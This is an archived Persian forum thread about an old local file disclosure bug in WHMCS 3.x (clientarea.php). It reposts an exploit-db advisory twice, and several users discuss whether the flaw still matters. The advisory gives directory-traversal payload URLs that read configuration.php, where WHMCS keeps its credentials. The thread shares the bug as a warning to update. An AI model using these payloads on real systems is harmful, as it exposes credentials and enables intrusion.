PDA

توجه ! این یک نسخه آرشیو شده میباشد و در این حالت شما عکسی را مشاهده نمیکنید برای مشاهده کامل متن و عکسها بر روی لینک مقابل کلیک کنید : باگ جدید در WHMCS (clientarea.php)


drvps
November 5th, 2011, 05:13
سلام خدمت دوستان این باگ جدید WHMCS هست که پیشنهاد می کنم حتما بخونید و آپدیت باشید

این باگ محتویات فایل configuration.php رو نشون میده

لینک معتبر: WHMCS 3.x.x (clientarea.php) Local File Disclosure (http://www.exploit-db.com/exploits/18081/)


# Title : WHMCS (clientarea.php) Local File Disclosure







# Author : Red Virus >>>c3o@w.cn











# Product : WHMCS ( WHMCompleteSolution )





# Vendor : WHMCS - The Complete Client Management, Billing & Support Solution (http://whmcs.com/)





# Date : 11/04/2011





# Version : 3.X.x





# Tested on : linux+apache





# Homepage : أهل السنه والجماعه Group XP (http://www.alm3refh.com)





================================================== ==============

















http://localhost/[PATH]/clientarea.php?action=[wrong_value]&templatefile=[LFD]%00











http://localhost/[PATH]/clientarea.php?action=red&templatefile=../../configuration.php%00












show the page source to see Disclosure file

















================================================== ==============











Greetz To .





>>> alm3refh.com - tryag.cc - joood





T3rr0rist & cyb3r-1st & i-Hmx & h311 c0d3





infofst & virus hima & Karar aLShaMi & all alm3refh group



ahwak2000 & reno & amr2006 & b0x & ZombiE_KsA
hamidjan
November 5th, 2011, 06:53
این که ظاهرا برای ورژن های عهد بوقشه!!
parsreseller
November 5th, 2011, 09:15
سلام خدمت دوستان این باگ جدید WHMCS هست که پیشنهاد می کنم حتما بخونید و آپدیت باشید

این باگ محتویات فایل configuration.php رو نشون میده

لینک معتبر: WHMCS 3.x.x (clientarea.php) Local File Disclosure (http://www.exploit-db.com/exploits/18081/)


# Title : WHMCS (clientarea.php) Local File Disclosure








# Author : Red Virus >>>c3o@w.cn













# Product : WHMCS ( WHMCompleteSolution )






# Vendor : WHMCS - The Complete Client Management, Billing & Support Solution (http://whmcs.com/)






# Date : 11/04/2011






# Version : 3.X.x






# Tested on : linux+apache






# Homepage : أهل السنه والجماعه Group XP (http://www.alm3refh.com)






================================================== ==============




















http://localhost/[PATH]/clientarea.php?action=[wrong_value]&templatefile=[LFD]













http://localhost/[PATH]/clientarea.php?action=red&templatefile=../../configuration.php













show the page source to see Disclosure file




















================================================== ==============













Greetz To .






>>> alm3refh.com - tryag.cc - joood






T3rr0rist & cyb3r-1st & i-Hmx & h311 c0d3






infofst & virus hima & Karar aLShaMi & all alm3refh group




ahwak2000 & reno & amr2006 & b0x & ZombiE_KsA

درود
دوست عزیز این مشکل مربوط به نسخه 3 هست و دیگه کسی از این نسخه استفاده نمیکنه!
drvps
November 5th, 2011, 13:53
این باگ جدید اعلام شده
!
برای ورژن 3.×.× هست
hamidjan
November 5th, 2011, 15:43
ورژن قدیمی که خب معلومه که باگ داره. دیگه پیدا کردن نمیخواد!!!